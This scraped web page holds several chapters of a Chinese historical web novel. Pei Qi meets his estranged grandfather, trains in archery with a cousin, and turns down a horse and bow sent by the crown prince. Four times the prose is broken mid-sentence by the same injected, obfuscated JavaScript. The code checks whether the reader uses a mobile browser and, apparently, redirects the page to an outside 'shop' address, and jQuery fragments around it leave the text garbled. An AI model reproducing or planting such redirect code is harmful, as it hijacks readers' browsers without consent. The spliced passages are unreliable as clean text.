l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151415|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>方才燃起的怒火忽然之间被彻骨的凉风浇灭。 杨明,竟然是杨明。 他呼吸开始急促起来,一句话也说不出。 居然是杨明。 方才他说出去的话,像巴掌一般扇在自己的脸上。 他脸上火辣辣的,像是多年前的一把火烧到了自己的身上。 那把火顷刻之间便会将它费尽心机才拥有的一切全部烧地只剩一层灰烬。 裴期不知道对方这是怎么了,但毕竟对方是自己的兄弟,母亲很重视对方,于是他只好伸出手去,抓住裴期的手臂。 “你怎么了?”他皱着眉问。 没想到裴建却反过来将他的手给握住, “大哥。”裴建说,“如果我像杨明一样,与你没有血缘关系,你也会允许我叫兄长吗?” 古代的照明设施并没有后世的光亮,因此裴期对于对方脸上那似乎又哭又笑的表情,只疑心自己看错了。 “不会。”裴期立即回答,他很诚实,且并不喜欢撒谎, “因为我并不喜欢你。” 钱苗在后面小声“嘶”了一下。 哇,虽然知道这两兄弟的关系并不好,可裴期居然也能说出这么绝情的话。 啧啧啧,还是小看他了。 裴建笑了笑,只说:“我知道了。” 说罢,他便像方才的事情没有发生过一般,转身走进府内。 月光洒进裴府里,隐隐约约地照亮了地上的青石板。 裴建往里边走,越走便离月光越远越走便月进入到黑暗当中去。 裴期恍若未觉,只当做裴建没有出来搅和一般,叮嘱杨明和钱苗二人,“夜晚出行,你们二人可得小心点,虽说上京的大贼已经抓了,可路上的那些毛贼还需得小心。” 钱苗还沉浸在裴期绝情冷脸的形象当中,他恍恍惚惚地听完叮嘱,然后将杨明拉上了自己的马车。 “你当时为什么不忍一忍?”钱苗问,“少生出许多事端来。” 杨明好像想到了什么很久远的事情一样,朝马车的窗外眺望了一会儿,然后眉眼弯着说:“我要读书,就是为了不忍的。” 钱苗想想,觉得对方说得也有道理。 只是在裴府中也有一个人想到了什么很久之前的事情,他辗转反侧,彻夜难眠。 于是,隔日裴期便听闻—— 裴建不知道为什么,非要闹着立即把产业划分到他自己的名下。 按道理来说,只要两人之间有一人成亲,便可以顺理成章地分家。 其实那些东西不用闹也全是他的。 他都已经把裴府最大的倚仗,那爵位给拿走了,这些产业有很多离了这个名头也是难以为继的。 他为何要这么心急,徒增麻烦呢? 21.马术 然而,裴建的所作所为与裴期毫无关系。 其一,那些产业早已与裴期脱离干系,裴父早前就言明,将产业悉数传给裴建。 其二,即便官府处理此事,流程也颇为漫长,至少需一年半载,怎么看也是半年之后的事情了。 只是次日清晨,裴母送来了一封亲手写好的信,反复叮嘱裴期在送达的过程中绝不可打开。 裴期心中虽好奇信中内容,但母亲既然明令禁止,他便也不会违背。 裴期疑惑地询问母亲:“母亲,既然是去外祖家,您为何不与我一同前往呢?” 裴母面色微微变化,却并不叫裴期察觉出端倪。 她笑得有些勉强,说道:“我就不去了,你到了之后一定要记得向你外祖问好。” 怕裴期忘记,她又强调了一遍:“务必记住信不能打开,到了忠勇侯府后要向你外祖问好。” 裴期点了点头,心中甚是不解,明明是面对自己的父母,母亲为何这般慌乱呢? 不过他心里也明白,母亲是不想让他知道其中发生了什么,因此他并未追问,只是向母亲道别后,便转身朝着府外的马车走去。 马车里放置着为他打包的行李衣物等物品,其中包括赏赐下来的几件飞鱼服。 裴母的原话是:既然是陛下赏赐之物,就不能浪费,应当时常穿着,以彰显陛下的恩宠,否则压在箱底烂掉了也毫无用处。 原本裴母还打算为他配备几个小厮和丫鬟,但裴期觉得只是出门几日,无需如此大费周章。 况且他平日里独自一人时,也不常让下人伺候在旁。 最终,家人同意让裴期独自前往,只带一个随行的马夫,不再带其他人员。 裴期掀开马车后帘,脚下一蹬,登上了马车。马夫轻喝一声,马车缓缓启动。 一路上颠簸不断,裴期觉得有些无聊,于是便掀开马车窗户上的帘子向外望去。 可刚掀开帘子,马车便猛地一顿,他的身体也向前倾去,若不是他有些腰力,说不定就会撞上马车的前壁。 “怎么了?”裴期问道。马车车夫的声音从前边传来:“大爷,不知前面发生了何事,有一辆马车忽然停在了路中间,一动不动。” 哦,堵车了。 裴期心想,在古代,坐得起马车的人并不多,而且马车行驶速度缓慢,又有多种交通方式可供选择,他在这个时代还从未遇到过堵车的情况。 于是,在车内等待了一会儿后,他撩开后面的帘子跳了下去,往前走了几步,想要看清楚前面那辆马车究竟发生了什么事情。 稍微往前走了几步,便看到一匹赤色的马半躺在路中间,时不时地打着响鼻,尾巴甩动着,一副不屑一顾的模样。 隔着很远的距离,就能听到一个稍显苍老且带着怒气的声音传来:“怎么回事?这可是府上最好的马,为何你一驾驭它,它就在路上乱跑乱跳,还在这儿耍起了脾气。” 一旁站着一个魁梧的马夫,马夫戴着斗笠,遮住了自己的脸。“回老爷,越是好的马性格越烈,越不好驯服……” 他的话还没说完,就被眼前这位胡子花白的老爷子打断了。 “你对我说这些?我骑了半辈子的马,马的习性我还不清楚吗?”老爷子说道,“啧,我就知道别人靠不住,还得我自己来。” 裴期听着他们的对话,走上前去。 这位老爷子一看就是急性子,只见他从马车中出来,向前走着,似乎想要亲自骑这匹马。 只是他的步履看上去有些蹒跚,看样子像是腿受了伤,连走路都有些吃力。 马夫见到他这般模样,忍不住劝道:“老爷,您别这样,您的腿还伤着,老夫人特意叮嘱过我,让您不许策马。既然现在马不肯动,我们再去寻一辆别的马车就好了。” 老人挥了挥手,说道:“当年我跟随先帝一起伏击瓦喇人的时候,全身几乎被他们用刀砍、用箭射,只剩下半条命照样能策马带着先帝冲在前面,现在只是伤了一条腿而已,哪来这么多忌讳?” 说完,他便想继续向前走,但可惜还没走几步,身体就控制不住地歪斜,朝旁边倒去。他只得扶住马车的车身,才得以保持身体平衡。 “老爷,我们就再寻一辆马车吧。”车夫见状无奈地说道。 裴期越走越近,直到这时他才能看清这个老人的面容。 不知是不是错觉,裴期皱起了眉头,他总觉得自己和这位老人长得有些相似。 或许是因为这个原因,裴期鬼使神差般地开口问道:“老爷子,我这边马车尚且还有些空余,您如果不介意的话,可以与我一同乘坐。” 老人听到裴期的话,他掀开眼皮,斜着眼睛上下打量了一番他马车上的那匹马,随后说道:“你那匹马只是普通的马,速度也只能说是平庸,怎能让我提前赶回府?” 他的话听上去有些傲慢,一般人遇到这样的情况早就怒了,马上拂袖而去。 可裴期不同,他感知情绪的能力比正常人要弱上许多,所以他并没有感觉到羞辱与不适。 因此裴期没有其他的言语,只是微微颔首,平和地说道:“既是如此,那便不打扰了。”说罢,他便准备转身回到自己的马车。 然而,就在他转身的瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168322|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,老人却又出声叫住了他。 “等等,罢了,罢了,既然没有更好的办法,那就暂且与你同乘吧。” 裴期听到这声音便停住了脚步,转身回去,他伸出了手,想要和马夫一起将老爷子扶到自己的马车上去。 可他刚伸出手,那地上半躺着的红色的马不知为何,忽然从地上站了起来,将自己的头送到了裴期的手下,一边呼噜呼噜地打着响鼻,一边主动用自己的头来回蹭着裴期的手。 老人和马夫都愣住了,显然没料到这马会有如此举动。 裴期也有些诧异,他顺着马的意愿摸着马的头,心中满是疑惑。 老人看着这一幕,眼神中闪过一点惊讶但又迅速消失, “没想到这匹难驯的烈马竟对你如此亲近。”老人说道。 接着他停顿了半天,不知在思索些什么,然后又问:“你从前可学过骑术?”裴期诚实地摇了摇头。 老人看向他,眼里忽然露出狂热之色,“那你有兴趣跟我学一学吗?” 紧接着他又掩饰般咳嗽了两声,抚着自己的胡须说:“咳咳,要是知道我的身份,你一定会吓一跳,我平时可不爱到处收徒弟。” “抱歉。”裴期老实地说,“我已经有了师傅。” 就是他母亲让他找的外祖。 “那好吧。”老人撇撇嘴,有些不悦,“既然如此,我倒也不能勉强你。” 接着,他推开旁边试图搀扶他的马夫,一瘸一拐地先一步走上了裴期的马车。 见裴期还没上来,他自来熟地拍了拍旁边的座位,“上来,愣着干嘛?” 裴期从未见过如此不把自己当外人的,一时间也有些怔住,听到声音才反应过来,什么话也没说,跟着走上了马车。 “老爷子,您要去哪儿?”看到人上了车,裴期的马夫问道。 “忠勇侯府。”老爷子回答。 马夫愣了一下,这好像……和他们本来要去的地方是同一个地址。 可裴期没有表示,他便也不好说什么,于是他心里憋着,“驾”地一声,朝着忠勇侯府驶去。 老爷子上了车,还不闲着,琢磨犹豫了半天,终于还是问了出来:“我问你,你的师傅是什么人?骑术怎么样?有没有真的上过战场?” 裴期对自己的外祖并不特别了解,只是从母亲那里得到只言片语, 因此,他也只是诚实地回答:“师傅是我的外祖父,我只听说过,没见过他,听说他骑术尚可,上过战场。” 老爷子听见,哼了一声,“哼,听上去也不过只是个平平无奇的家伙罢了,哪里比得上我。” 22.如果裴期是… 马车晃晃悠悠往前走,不一会儿就到了忠勇侯府的门口。 老爷子不让看到的人扶他,自己撑着马车的护栏从马车上下来。 下来了之后,他还不忘回头对裴期笑了两声说,“今日便多谢小子相送,你且记着,若是你发现你外祖的骑术太差,便来找我,并不为别的,只是想给这匹赤月找个相性符合的主人。” 他绝口不提是因为自己看到了裴期腰窄,肩宽,腿长有劲,适合练骑术。 已经多年没出这么一个他觉得或许有些天赋的人了。 可他话刚说完就眼睁睁的看着裴期也从马车上走了下来。 他皱着眉说:“怎么了?你可是回心转意?” 说罢,他挑了挑眉,脸上带上些许自傲,“我说了你那不知道什么来头的外祖定然是不如我的,你现在回心转意我还可以……” 然而他话还没说完,就只听见眼前的人脆生生地叫了一声“外祖父”。 他呆愣了两秒,第一反应是有些恼怒,这小子都跟他同城了一路了,怎么也不跟他说明白? 第二反应则是……不是细看的话,这小子看上去还真和自己长得有几分相似。 若是要说是自己的外孙也确实能说得过去。 他的祖上有些胡人的血脉,曾经因为这事,许多人都瞧不起他。 他咬了牙,发狠在战场上立下赫赫战功,这才被封了忠勇侯,日后再也没有一个人敢看轻他了。 他甚至被皇帝单独赐了姓——靖 靖忠,为表他在战场上劳苦功高尽忠之意。 “你这小子!”外祖父气得吹胡子瞪眼,“怎么不早说?害得我被蒙在鼓里丢丑!” 裴期就是有些疑惑地歪了歪头,回答,“您没问。” 外祖父这下被气得啥也说不出来了,只站在原地瞪着裴期。 就在这时,一阵急促的脚步声传来。 “哎哟,老夫人!您慢点!” “老夫人,前边儿有道门槛,您小心些。” “当心脚下!” 紧接着,忠勇侯府的门被猛的地一下打开。 一个头发银白但穿戴华丽,满头珠翠的老妇人从里面走了出来? 她急切地走了裴期的身边,走得急了,身子有些酿跄,裴期伸出手,虚虚地护着这位老夫人,生怕对方被绊倒。 老夫人站定后,仔仔细细地打量着裴期,眼眶泛红,嘴唇微微颤抖,“你是……裴期吗?” 裴期虽有些懵懂,但仍乖巧地点点头。老夫人一把将裴期搂进怀里,什么也不说,只是身体微颤。 外祖父见状,哼了一声,告状道:“老太婆,你看看这小子,跟我同城一路,故意看我丢脸。” 老夫人没理他,只是松开裴期,有些小心翼翼地问道:“你母亲可有差你送什么东西过来?” 裴期听见这话,点点头,从怀里拿出那封尚且还带着体温的信封,“这是母亲让我带给您二位的,还有……” 他顿了顿,“母亲让我替她问您二位安。” 老夫人一听这话,立马泪眼婆娑,珍而重之地将信收下,然后说:“诶,都好,都好。” 她攀着裴期的肩膀,轻抚了几下, “现在都长成大人了,第一次见你时,你还是个奶娃娃。” 而外祖父则在旁边不满地说: “喂,你听我说话没?这小子太过分了,而且,那不肖女这么多年,就只送回来一封信?哼,别以为我就这么好说话。” 老夫人白了他一眼,“我还没说要原谅你背着我又去外边偷着策马的事呢。” 说着说着,她忍不住叹了口气, “况且,这些年,淑儿也并不容易,你脾气臭,她从小就怕你,做错了事便不知所措,她又嫁去了裴府,哪里有再同你和好的机会?” 外祖父嘴巴一瘪,“总之,总之我是不会就这么原谅他骗我这事的,什么骑射我也都不想教了!” 好不容易在路上遇到个和眼缘还天赋不错的小子,居然是这种情况,简直让人……哼! 老夫人看着外祖父那赌气的模样,无奈地摇头,“一大把年纪了,还跟个孩子似的。他刚来,你就别闹脾气了,快些进来,晚饭才刚好。” 外祖父听了老夫人的话,虽然心里暗喜,老夫人总算肯让他上桌了,可毕竟他的脸上还是要装一装,不能显得太得意,于是便轻哼一声,仿佛自己是妥协一般,率先向府内走去。 见状,老夫人拉着裴期,也跟着走了进去。 与之前被抄家的李大人家的奢华,以及裴府的静雅不同。 忠勇侯府内布置得很庄重,全屋多使用对称结构,用料足但没什么花里胡哨的装饰,十分严肃古朴。 众人来到膳堂,桌上摆满了菜。 可以见得这里吃饭的人口味都比较重。 全是一些赤酱浓油的菜式。 有葱爆大排,黄焖排骨,鳝筒红烧肉,红烧羊肉等。 小菜则就是一些当下的时蔬清炒的。 每个人的手边还放着一碗用来解腻的冬瓜肉丸汤。 老夫人拉着裴期坐下,外祖父则坐在主位上,看上去依旧板着脸,实则认识的人都知道,他这会儿舒畅得嘴角都压不下去了。 下人十分机灵,眼瞧见加了一个人,便又顺势加了一副烫过的碗筷上来,言语间有些卖乖, “表少爷,您有什么需要,可以随时吩咐小的。” 老夫人加了一块大排放到裴期的碗里,"裴期啊,你母亲在可有说些别的?她在裴府过得可好?" 裴母并没有说这些。 可裴期望着二老有些期待的眼神,忽然福至心灵,他想到了什么。 于是他放下筷子,有些认真地回答:"母亲说,她一切都好,只是时常挂念着外祖父和外祖母。" 老夫人泪花闪闪,又使劲往裴期碗里夹了好几样菜。 就连一直装着冷眼的外祖父也忍不住侧着耳朵过来听。 他轻咳一声,努力维持着严肃的表情,说道:“算她还有点良心。” 老夫人“啧”了一声,瞪着他,“还不是你说的那些重话!不是你那样的绝情,淑儿怎会怕到这么多年不敢同家里来往!” 外祖父不说话了,只是埋头吃着。 裴期也夹起了碗里的大排, 夹起一块,一靠近便葱香扑鼻,葱段被热油激发出了浓郁的辛香附着在大排上。 将酥脆的外壳咬碎鲜嫩多汁的肉味便在口中散开,咸甜的味道恰到好处。 这时,老夫人又问,“小期,我刚才听你外祖父说,你是要学骑射?怎么突然要学骑射?外祖母没有别的意思,只是想问问你是否对行军打仗起了兴趣?” 她的心提了起来,她已经因为这事失去了一个儿子和两个孙子,还险些失去丈夫,好不容易来个外孙,她不想这样。 “不是。”裴期摇了摇头,“裴府给我找了个差事当锦衣卫,皇上让我去秋猎,我不怎么会骑射,故而母亲才让我来同外祖父学,听说外祖父的骑射是当朝最好的,跟着学几日便能有所成效。” 他这句话蕴含的内容颇多, 首先是他当了锦衣卫。 别以为只有文臣讨厌锦衣卫,武将也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175231|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,只是没那么声势浩大,毕竟没有人能受得了时时刻刻有人监视自己。 不知道裴府是怎么缺心眼的把嫡出少爷送去做锦衣卫的。 其二是裴期这锦衣卫居然当地还不错,没做多久就受了皇帝青眼,居然钦点让他跟着去秋猎。 其三则是…… 这裴府未免对裴期也太差,像裴期这么大的,应早就找师傅教过君子六艺、骑射了。 老夫人皱着眉,一时之间竟然不知道该说些什么。 她心中怜爱更甚, 于是只好叹了口气,摸着裴期的头。 而外祖父关注的居然是—— “我就知道。”他笑了几声,“哪怕老夫现在并不在军队,也知晓这满朝上下,论骑射之术,无人能出我右。小皇帝倒是有眼光,让你跟着去秋猎,你可得好好学,莫要丢了老夫的脸。” 裴期听到外祖的话,点点头,“多谢外祖父。” 老夫人看了一眼裴期,心想,倒是聪明,还懂得顺带着把老头子也夸一下,可见有些聪明。 —— 而另一边,太子府内。 李稷因为近日要协同大理寺和锦衣卫继续暗中搜查证据,证实血玉与三皇子生母张贵妃有关实在有些心力憔悴。 但他不想声张,他并无母族妻族从旁助力,若是稍微漏出颓势,周围那些上一刻还温顺的绵羊便刹那会变成豺狼虎豹。 因此,他又把自己放在了温泉中,想要歇息片刻,缓解头痛。 水波荡漾,李稷又回想起和裴期见的第一面,他忽然冒出个想法—— 如果裴期是女子会怎么样? 如果他这时同裴期假戏真做,那他是不是便不用如现在一般一刻休息的余地都没有? 不,他自己的势力足够抗衡那些人,并不需要裴期的家族相助。 不,他甚至不需要裴期是女…… 温泉水温越来越高,李稷猛地从水中站起身来,冷风拍打着他的身体,他捏了捏鼻梁,神色不耐,脸色冷得可怕。 果然人不能太沉迷享乐。 一享乐起来便会开始胡思乱想。 裴期还不知道是哪一方的人派来迷惑自己的,自己怎会就这样中这样简单的计? 说罢,他挥挥手,旁边就有个全身黑色的人出来。 “十三,让你查裴期的你查到了吗?” “回殿下。”黑衣人说,“尚且未发现裴大人同任何势力有联络,只是最近两天似乎为了秋猎的事去了忠勇侯府学骑射。” 学骑射? 连李稷自己也没注意到自己皱起的眉忽然散开。 为了自己,裴期也花了一番心思。 李稷挑眉, “将那匹新来的上等马给裴期送去,再额外寻人给他打一副弓和箭。” 黑衣人愣了愣,“是黑影吗?” 黑影是那匹马的名字。 通体黑色,是万年难得一见的好马,太子曾对这马也是爱不释手。 如今……? 李稷侧头,看着黑衣人:“想问什么?” 黑衣人心里一紧,脑子一片空白,扑通一声就跪在地上,“没有!是属下逾越!请殿下责罚!” 李稷挥挥手,示意让他离开,快些送去。 黑衣人弯着腰往后退,这时他才发现自己的身上已经湿透。 他心里明白,要不是还要给急着那位裴大人送东西,他只怕现在便要被罚水刑了。 感谢裴大人,他心想。 不过,他打探到裴大人的外祖父也有一匹马要给他,不知道到时候裴大人会选那个? 23.手把手教 由于距秋猎的时间比较近,所以次日的一大早裴期就去了在京郊的校场。 一般来说,除了极特殊的分裂和军阀割据的情况下,校场都是由国家拥有并掌控的。 因此,他们来到这里也仅仅只是借用几天而已。 外祖父虽然自信本朝在骑射这一方面无人能出其右,可他清楚自己毕竟年事已高又生病多年,腿脚并不如当年一般的利落了。 况且…… 他侧着头偷偷看了一眼站在旁边的妻子。 裴期的外祖母此时也换上了一身方便的衣服站在这旁边。 见到这人在偷偷的看她,她立马瞪了回去。 况且他那发妻多年来为了他的腿脚没少操心,也不许他策马。 因此他并不能亲身演练或上马指导裴期应该怎么做,故而他叫了此时正在军营里的熟人过来。 “小期,这位是如今任职禁军中郎将的严振,你与他有点关系,他比你稍大几岁,可以叫他严表兄。” 裴期颔首,道:“严表兄。” 严振也是个不怎么爱说话的性格,他表示友好地扯了一下嘴角之后,便朝着裴期的外祖父说,“老将军,那我们便从最初的选弓开始吧,我将上力中力下力的弓都带了过来。” 这个朝代的四种分为四种,分别是虎力上力,中力和下力。 换算成现代的单位—— 虎力需要 71千克以上的力才能拉开,这种等级的弓比较少见。 属于非常强劲的拉力水平,拥有如此力量的人在当时是万里挑一的佼佼者。 上力需要71千克的力拉开,这类人虽然少见但军队中也并不是没有。 中力需要50千克的力拉开,是军队中的优秀水平。 下力仅需35千克的力可以,属于力量稍弱的水平,同时由于其使用的门槛不高,在军队当中也是最常见的一种弓。 严振将几种弓摆在校场一侧,裴期走上前去,挑选的那些弓,这些弓看上去除了弓身与弓弦粗细略有差别之外,并没有任何不同。 他先是拿起一把下力的弓,试着拉了拉,感觉颇为轻松。严振在旁微微皱眉,“秋猎之时,猎物速度快且敏捷,下力弓射程和威力有限,恐难以应对。” 裴期也知道,于是他放下手里的这把下力的弓,又转而去拿旁边的那把稍硬一点的中立的弓。 只见他拿起那把弓,仍就是很轻松地就拉开了。 严振眼中闪过一丝惊讶,中力的弓一般是经过一点训练才能如此轻松的使用的。 之前裴期的外祖父曾同他说,裴期在此之前从来没有接触过骑射方面的事情,因此,他本以为中力的弓已经是裴期的极限。 不过他很快便收敛了惊讶的神色,说道:“你可以再试试最后的那一把。” 既然前两把弓都拉开的如此简单,那么想必裴期最适合的便是最后的那把。 但他显然又想错了,因为裴期上前拿起最后的那把弓之后拉开弓的动作虽不如前两把的顺畅,但仍旧是十分顺利地拉开,甚至还显地轻松的模样。 裴期的额头甚至连一滴汗也没有出,手指微微泛白,却并不像用了全力的样子。 严振犹豫了一下,然后问:“裴表弟,你在之前是已经找过师傅学过骑射?” 若自家孩子有这般天赋,哪有做父母的不寻个师傅的? 每个师傅教徒弟的方式不同,如果对方已经有了师傅,那一些小习惯便是纠正不来的,他太不喜欢这样的。 裴期诚实的摇摇头。 他自从在私塾上的第一节课的课堂上没学懂那个古文之后,从前对他的态度还算不错的人莫名看到自己就开始叹气。 随后他就被关在了府里,除非是生了什么病要治,便再也没有什么人问津了。 ……严振有些无言,他说:“学过了就是学过,实在不必这样。” 他还是比较喜欢教诚实的人。 “他真的没学过。”裴期的外祖父皱眉出声,他的语气里带着浓浓的不满, “哼,裴府的人哪里会花心思给他请师傅?满心满眼只看得见那个不知道哪里来的小儿子。” 严振似信不信,又仔细看着裴期的身形,宽背蜂腰长腿,正是最适合骑射的模样。 而天生又有神力。 简直……简直是难得的虎将! 他吩咐旁边站着的小兵:“去,快把我放在营帐里的那把青羿弓拿来。” 小兵得了指令,立马朝着严振的军帐方向跑去。 只是这弓是中郎将珍藏多年的神弓,是前朝一位鼎鼎有名的匠人做的,只因那匠人做了这一把千斤弓之后便意外去世,因此,此青羿弓便成了绝唱。 外祖父看着严振这样,眼神里带上一丝得意,他就知道,眼前这人昨天还不情不愿,今日一见到裴期便会迫不及待地倾囊相授。 随即,严振又问:“可曾替表弟挑了什么马?若是参加皇室的秋猎,用的马并不能太过普通,最好是血统纯正的千里马。” 裴期的外祖父回:“已经替他挑好了马,你知道的,是那匹赤月。” “赤月?”严振问,“此马不是性格最烈,换了好几个人都没有驯成吗?若是第一次学骑射,还是不要挑选这么烈性的马才好。” “你有所不知。”外祖父笑着,“赤月性子是烈,我把他带出去当做驿马磨它的性子也未能成功驯服,可不知为什么见到了这小子便格外的亲近,想来应该是没多大问题的。” 听完这话,严振看向裴期的眼神更加复杂,这样的天赋,怎么拖到现在才开始学骑射? 这样的人就算是大字不识一个,放在军中也能建功立业,若是还识得点兵书,懂点兵法,便是难得的将才。 不多时,小兵捧着那把青羿弓气喘吁吁地跑了回来。 这弓一出现,便仿佛自带一股不凡的气势,弓身泛着淡淡青芒,线条流畅优美,却又透着厚重。 严振接过弓,递给裴期,说道:“这把青羿弓你且试试,它的拉力可比之前的那些弓要强上许多,不过我看你天赋异禀,或许能拉开它。” 裴期接过弓,只觉入手沉甸甸的,比之前的弓都要重上不少。 他双手握住弓把,开始发力,只见他手臂上的肌肉微微鼓起,神色却依旧从容,那青羿弓竟在他的拉动下,所以不如刚才轻松,却也被缓缓地被拉开了。 好!! 严振的眼里闪过惊异,话少又严肃的他居然心里出现了惋惜痛惜的心情。 这样的天赋,这样的神力,这样的胆识,若是早几年来找自己学,从小便是他的学生,只怕现在已经和他一起扬名立万了。 只可惜那裴府有眼无珠,珍珠当鱼目。 这么多年竟然都不管不问,白白浪费这一身天赋! 严振这么多年从来都不爱管别人的闲事,此刻却生出了浓浓的惋惜之意。 当真是可惜! “你放心,这几日我定然好生教你。”严振皱眉,一脸严肃补充道:“不,若是你以后还想再找我学,随时可以来这里找我,若是你有进军队的打算,也可……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14184148|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>话还没说完便被外祖母打断,“不行,我就这么一个外孙,我女儿也就这么一个孩子。” 严振这才回过神来,眼前这位老夫人已经失去了太多的亲人。 于是他干脆的闭嘴,没有继续说下面的话。 他将裴期带到校场射箭的有靶子的地方,教裴期正确的姿势与瞄准的方法。 “虽说你有天赋,但不能马虎,拉弓时,手臂要稳,背部发力需连贯顺畅,切不可忽大忽小。” 严振站在裴期身侧,继续说道:“瞄准的时,眼神聚在靶心,同时用余光留意周围环境,秋猎时,可不像现在这般安静,会有许多干扰。放箭时手松开要干脆利落,莫要拖泥带水,不然箭的准头可就没了。” 裴期照严振所说,调整好姿势,缓缓拉动弓。 那弓身的重量让他更集中精力,手臂和背部的肌肉协同发力。 他微微眯起眼睛,瞄准靶心,只听“嗖”地一声,箭离弦而出,直直朝着靶子飞去。 众人的目光紧紧追随着那支箭,只见它“噗”的一声,稳稳扎在了靶心上。 第一次射箭便能中靶心! 严振非但没有欣慰,反而重重地叹了口气。 唉,人才,只可惜…… 就在裴期准备换一只箭时,方才为他们拿来青羿弓的小兵忽然着急忙慌地跑了过来,后面还有几个宫里侍卫打扮的人一起过来。 小兵说:“中郎将,好似是太子要给您的这位表弟送来马匹和弓箭。” 不多时,那几个宫里侍卫便到了近前,为首的侍卫恭敬地行了一礼,朗声道:“中郎将大人,太子殿下听闻裴大人在此练习骑射,特命我等送来这匹良驹以及特意请匠人打的弓供您秋猎用,还望裴公子莫要嫌弃。” 裴期的外祖父和严振听到了,登时脸上就有些不太高兴的神色。 在他们心里自己给裴期的已经是最合适的,最好的了,没人希望自己特意准备的最好的东西到最后居然派不上用场。 但明显裴期正地太子和陛下的宠爱,他们又实在不能替裴期得罪。 于是,外祖父压着心里的火气问:“裴期,你要用赤月还是这匹黑不溜秋的马?” 严振也想问,只是他严肃惯了,抹不开面。 裴期也仔细思索了一下,心想自己是在外祖父和严振这里学的骑射,既然自己诚心要同他们学,那么用他们给的自然是适配度最好的。 于是他婉拒道:“抱歉,几位,我已决心用外祖父和中郎将替我准备的,太子的好意我很感谢,只是我在这边学,这边总归对于马和弓都比较熟悉。” 那为首的侍卫一听,脸上的笑容僵住了,他们对视一眼,眼神里互相推辞,都让对方去找太子禀报。 可没办法,他们又不能将东西强塞给裴期。 于是他们勉强地笑了笑。 “那裴大人,我们告辞了。” 裴期颔首,“多谢几位。” —— 太子那边,紧跟着就收到消息。 听到黑衣服的暗卫上报的情况,他先是皱眉。 然后听到暗卫复述裴期的话,他又是眯了眯眼。 “孤只是赏了点东西,倒是让裴卿得寸进尺,学会撒娇了。” 不在自己这边学便不用赏赐的东西。 不知道是谁教的,大庭广众这样说。 这不就是想让自己亲手教他吗? 李稷笑了,对旁边以为自己会受罚,瑟瑟发抖的暗卫说:“让他们传话,等到了秋猎,我自会手把手教裴期的。” 24.错字的玉环 “玉环雕好了吗?” 一大早,钱苗就带着杨明亲自到了钱家专门养的匠人那边仔仔细细地看之前承诺给裴期的那块玉佩有没有雕好。 裴期可是把他当好兄弟的,连喜欢男人这样的秘密都告诉了自己,他可不能替别人把这事弄砸了。 就是这么久了,他一直没查出来那个名字里有“季”的人究竟是谁。 这件事情说来也巧,整个锦衣卫里都没有名字里面带“季”字的。 可他观裴期身边也并没有什么其他的朋友。 他现在怀疑,该不会是裴期这家伙暗恋别人,但别人却连他是谁都不知道吧。 啧,裴期看上去确实像这样的人。 工匠把那玉环捧了出来,是自家少爷从外面带回来专门叮嘱过的,他们自然也不敢怠慢。 玉环的材质虽然不是他们在钱家做工这么久以来见过最好的,他们却还是拿出了百倍的耐心去雕。 “已经完成了,少爷。” 只见经过匠人仔细雕琢又精心打磨过的玉环比初次见识更加有光泽,经过这番仔细的打磨心里面的种水似乎都看上去好上不少。 “这还多亏了举人题的字。”匠人笑着奉承杨明,“若不是举人的字好看,我们也不能凭空变出这么漂亮的字来。” 担心钱家用惯了的字匠气,钱苗特意让杨明写了字在上面。 杨明面对匠人的夸赞,有些腼腆,一边说过誉,一边问钱苗何时去送玉环。 离考试的时间越来越近,他已经决心后面一段时日在自己租住的地方潜心学习,不问窗外事。 在这之前他预备跟好友们都见一面。 “只是。”杨明有些疑惑,“这玉环一般是赠与心意互通之人的,裴兄难不成已有了心上人?” “咳咳咳。” 钱苗被吓到,猛地咳了起来。 他知道瞒不了杨明多久,可他没想到居然这么快就被猜了出来,也对,这双环本就是用来赠予心上人的,既然想要对方的字,想瞒也瞒不了。 但总得想点什么借口才好,否则裴期把自己当成信任的人,将秘密都告诉了自己,自己却都说了出去,岂不是太不讲兄弟义气? 于是他眼神飘忽,清了清嗓子说:“你有所不知,这是他用来……查案的!对,查案,近日送来的案子难查,裴期才想了这个法子。” “是吗?”杨明若有所思。 他脑海中瞬间就出现了裴期为了帮锦衣卫查案而被迫与别的人虚情假意的可怜形象。 可恶,裴兄看上去单纯又可靠,对男女之事更是一窍不通的样子,就算他长得俊俏了些,这些事也不该给他一个刚来不久的干啊! 